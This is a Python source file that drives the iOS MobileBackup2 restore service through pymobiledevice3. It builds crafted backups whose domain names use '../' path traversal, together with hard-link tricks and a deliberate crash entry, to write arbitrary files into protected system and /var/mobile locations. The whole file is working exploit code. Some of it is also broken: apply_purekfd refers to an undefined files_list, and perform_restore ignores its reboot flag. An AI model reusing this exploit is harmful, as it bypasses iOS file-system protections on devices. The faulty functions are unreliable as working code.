from tempfile import TemporaryDirectory
from pathlib import Path

from pymobiledevice3.lockdown import create_using_usbmux
from pymobiledevice3.services.mobilebackup2 import Mobilebackup2Service

import os
import json

from . import backup

def perform_restore(backup: backup.Backup, reboot: bool = False):
    with TemporaryDirectory() as backup_dir:
        backup.write_to_directory(Path(backup_dir))
            
        lockdown = create_using_usbmux()
        with Mobilebackup2Service(lockdown) as mb:
            mb.restore(backup_dir, system=True, reboot=False, copy=False, source=".")

def apply_purekfd(temp_backup_dir):
    backup_info_file = os.path.join(temp_backup_dir, "backup_info.json")
    files_to_restore = []

    backup_info = []
    if os.path.exists(backup_info_file):
        with open(backup_info_file, 'r') as f:
            backup_info = json.load(f)

    if not backup_info:
        print("No files to write?")
    else:
        filtered_backup_info = [info for info in backup_info if "/var/mobile" not in info]
        varmobile_backup_info = [info for info in backup_info if "/var/mobile" in info]

        for file_path in filtered_backup_info:
            try:
                file_contents = open(f"{temp_backup_dir}{file_path}", 'rb').read()
                folder_path = os.path.dirname(file_path)
                restore_name = os.path.basename(file_path)

                files_to_restore.append(
                    FileToRestore(
                        contents=file_contents,
                        restore_path=f"/var/{folder_path}",
                        restore_name=restore_name
                    )
                )
            except Exception as e:
                print(f"Error reading file: {file_path}, Error: {e}")

        for file_path in varmobile_backup_info:
            path_components = file_path.split("/")

            if "AppUUID{" in file_path:
                try:
                    file_contents = open(os.path.join(temp_backup_dir, file_path), 'rb').read()
                    appuuidcomponent_index = next(
                        (i for i, part in enumerate(path_components) if "AppUUID{" in part), None
                    )

                    if appuuidcomponent_index is not None:
                        path = "/".join(path_components[appuuidcomponent_index + 1:])
                        restore_name = os.path.basename(path)

                        files_to_restore.append(
                            FileToRestore(
                                contents=file_contents,
                                restore_path=f"/var/mobile/{path}",
                                restore_name=restore_name
                            )
                        )
                except Exception as e:
                    print(f"Error reading file: {file_path}, Error: {e}")
                
    back = backup.Backup(files=files_list)

    perform_restore(backup=back)

class FileToRestore:
    def __init__(self, contents: str, restore_path: str, restore_name: str, owner: int = 501, group: int = 501):
        self.contents = contents
        self.restore_path = restore_path
        self.restore_name = restore_name
        self.owner = owner
        self.group = group

# files is a list of FileToRestore objects
def restore_files(files: list):
    # create the files to be backed up
    files_list = [
        backup.Directory("", "RootDomain"),
        backup.Directory("Library", "RootDomain"),
        backup.Directory("Library/Preferences", "RootDomain"),
    ]
    # create the links
    for file_num in range(len(files)):
        files_list.append(backup.ConcreteFile(
                f"Library/Preferences/temp{file_num}",
                "RootDomain",
                owner=files[file_num].owner,
                group=files[file_num].group,
                contents=files[file_num].contents,
                inode=file_num
            ))
    # add the file paths
    for file_num in range(len(files)):
        file = files[file_num]
        files_list.append(backup.Directory(
            "",
            f"SysContainerDomain-../../../../../../../../var/backup{file.restore_path}",
            owner=file.owner,
            group=file.group
        ))
        files_list.append(backup.ConcreteFile(
            "",
            f"SysContainerDomain-../../../../../../../../var/backup{file.restore_path}{file.restore_name}",
            owner=file.owner,
            group=file.group,
            contents=b"",
            inode=file_num
        ))
    # break the hard links
    for file_num in range(len(files)):
        files_list.append(backup.ConcreteFile(
                "",
                f"SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/temp{file_num}",
                owner=501,
                group=501,
                contents=b"",
            ))  # Break the hard link
    files_list.append(backup.ConcreteFile("", "SysContainerDomain-../../../../../../../.." + "/crash_on_purpose", contents=b""))

    # create the backup
    back = backup.Backup(files=files_list)

    perform_restore(backup=back)


def restore_file(fp: str, restore_path: str, restore_name: str):
    # open the file and read the contents
    contents = open(fp, "rb").read()

    # create the backup
    back = backup.Backup(files=[
        backup.Directory("", "RootDomain"),
        backup.Directory("Library", "RootDomain"),
        backup.Directory("Library/Preferences", "RootDomain"),
        backup.ConcreteFile("Library/Preferences/temp", "RootDomain", owner=501, group=501, contents=contents, inode=0),
        backup.Directory(
                "",
                f"SysContainerDomain-../../../../../../../../var/backup{restore_path}",
                owner=501,
                group=501
            ),
        backup.ConcreteFile(
                "",
                f"SysContainerDomain-../../../../../../../../var/backup{restore_path}{restore_name}",
                owner=501,
                group=501,
                contents=b"",
                inode=0
            ),
        backup.ConcreteFile(
                "",
                "SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/temp",
                owner=501,
                group=501,
                contents=b"",
            ),  # Break the hard link
            backup.ConcreteFile("", "SysContainerDomain-../../../../../../../.." + "/crash_on_purpose", contents=b""),
    ])

    
    perform_restore(backup=back)
